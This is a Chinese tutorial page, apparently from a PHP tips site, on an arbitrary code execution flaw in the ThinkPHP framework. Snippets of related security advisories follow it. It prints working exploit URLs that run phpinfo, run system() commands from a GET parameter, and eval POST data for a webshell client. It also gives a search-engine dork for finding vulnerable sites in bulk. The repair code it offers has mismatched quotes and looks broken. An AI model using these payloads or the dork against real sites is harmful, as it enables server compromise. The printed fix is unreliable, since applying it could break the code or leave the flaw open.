ThinkPHP框架任意代码执行漏洞的利用及其修复方法_php实例

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}

index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

更多关于thinkPHP相关内容感兴趣的读者可查看本站专题:《ThinkPHP入门教程》、《thinkPHP模板操作技巧总结》、《ThinkPHP常用方法总结》、《smarty模板入门基础教程》及《PHP模板技术总结》。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索修复
, 方法
, 代码
, thinkphp框架
执行漏洞
thinkphp框架漏洞、thinkphp框架项目实例、thinkphp3.2.3漏洞、thinkphp 漏洞、thinkphp漏洞检测工具,以便于您获取更多的相关知识。

时间: 2024-08-22 15:00:15

ThinkPHP框架任意代码执行漏洞的利用及其修复方法_php实例的相关文章

ThinkPHP framework 任意代码执行漏洞预警

ThinkPHP是一个国内使用很广泛的老牌PHP MVC框架.貌似国内有不少创业公司或者项目都用了这个框架.  最近官方发布了一个安全补丁,官方表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码.  可是貌似大多数开发者和使用者并没有注意到此漏洞的危害性,应者了了,更不用说有多少人去升级了.随后我对其进行了分析,发现此问题果然是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码.特此发帖预警各位.  我们来分析一下官方的补丁:  /trunk/Thi

绿盟科技网络安全威胁周报2016.39 请关注PHPMailer远程任意代码执行漏洞CVE-2016-10033

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-39,绿盟科技漏洞库本周新增30条,其中高危9条.本次周报建议大家关注PHPMailer远程任意代码执行漏洞,目前,目前PHPMailer官方已经发布了补丁,请使用PHPMailer的用户尽快升级. 焦点漏洞 PHPMailer远程任意代码执行漏洞 NSFOCUS ID 35685 CVE ID  CVE-2016-10033 受影响版本 PHPMailer < 5.2.18 漏洞点评 PHPMailer是一个用于发送电子邮件的PHP函数

PHPMailer远程任意代码执行漏洞CVE-2016-10033 900万用户受影响 站长们要小心了

PHPMailer出现漏洞CVE-2016-10033,全球900万用户容易遭受远程攻击.官方目前已经发布新版本,请用户尽快升级.PHPMailer 5.2.18 之前所有版本都受到影响.CVE官方对于该漏洞的描述还处于 保留状态 . PHP Mailer是什么 PHPMailer,用于发送电子邮件的最受欢迎的开源 PHP 库之一,也是PHPMailer是一个用于发送电子邮件的PHP函数包.据估计,世界各地的超过 900 万用户利用此库.数以百万计的使用 PHP 和流行的 CMS,目前包括 Wo

绿盟科技网络安全威胁周报2017.11 关注Apache Struts2 任意代码执行漏洞 CVE-2017-5638

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-11,绿盟科技漏洞库本周新增136条,其中高危63条.本次周报建议大家关注 Apache Struts2 任意代码执行漏洞 CVE-2017-5638 .目前漏洞细节以及利用工具已经曝光,可导致大规模对此漏洞的利用.强烈建议用户检查自己的Struts2是否为受影响的版本,如果是,请尽快升级. 焦点漏洞 Apache Struts2 任意代码执行漏洞 NSFOCUS ID 36031 CVE ID CVE-2017-5638 受影响版本 A

Apache Tika任意代码执行漏洞CVE-2016-6809 如不升级则需MATLAB文件解析功能

Apache Tika出现任意代码执行漏洞,绿盟科技发布安全威胁通告.2016年11月10日(当地时间),seclists.org网站发布了一条消息,通告了一个存在于Apache Tika组件中的任意代码执行漏洞,漏洞编号为CVE-2016-6809. Tika封装了jmatio解析器用以处理MATLAB文件.攻击者可以将任意代码注入到MATLAB文件中,并在解析器对嵌入在该MATLAB文件中的JAVA对象进行反序列化时得到执行. 相关链接地址如下: http://seclists.org/bu

Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试

本文讲的是Windows Lnk远程代码执行漏洞(CVE-2017-8464)利用测试,北京时间6月14日凌晨,微软发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞,完全控制用户系统,安全风险高危. 该漏洞的原理同2010年据称美国和以色列入侵并破坏伊朗核设施的震网行动中所使用的震网病毒(Stuxnet)非常相似,所以也被一些人称为"震网三代". 然而,通过百度搜索关键词&

绿盟科技互联网安全威胁周报2016.36 请关注Roundcube任意代码执行漏洞CVE-2016-9920

绿盟科技发布了本周安全通告,周报编号NSFOCUS-16-36,绿盟科技漏洞库本周新增37条,其中高危21条.本次周报建议大家关注 Roundcube任意代码执行漏洞 ,目前漏洞的细节已经披露,可能造成大规模对此漏洞的利用.强烈建议用户检查自己的Roundcube是否为受影响的版本,如果是,请尽快升级. 焦点漏洞 Roundcube任意代码执行漏洞 NSFOCUS ID  35551 CVE ID  CVE-2016-9920 受影响版本 1.1x < 1.1.7.1.2.x < 1.2.3

Debian系统被发现存在多个任意代码执行漏洞

据新华社电国家计算机网络入侵防范中心25日发布安全漏洞周报说,18日至24日一周内共发现安全漏洞126个,其中高危漏洞46个. 上周值得关注的漏洞有:Oracle公司发布Java SE的多个未指明漏洞:IBM公司的Lotus Expeditor和Lotus Notes被发现存在多个漏洞:Debian系统被发现存在多个任意代码执行漏洞等. 攻击者成功利用这些漏洞可能执行任意代码.引起拒绝服务.获取权限或造成未知影响.会影响信息的机密性.完整性.可用性,威胁用户隐私安全. 国家计算机网络入侵防范中心

绿盟科技网络安全威胁周报2017.09 请关注MSIE Edge任意代码执行漏洞CVE-2017-0037

绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-09,绿盟科技漏洞库本周新增41条,其中高危16条.本次周报建议大家关注Microsoft Internet Explorer/Edge任意代码执行漏洞 CVE-2017-0037 .攻击者通过精心构造的网页可以达到远程代码执行的目的.目前尚无任何补丁,建议大家暂时停用IE和Edge. Microsoft Internet Explorer/Edge任意代码执行漏洞 NSFOCUS ID 35978 CVE ID CVE-2017-003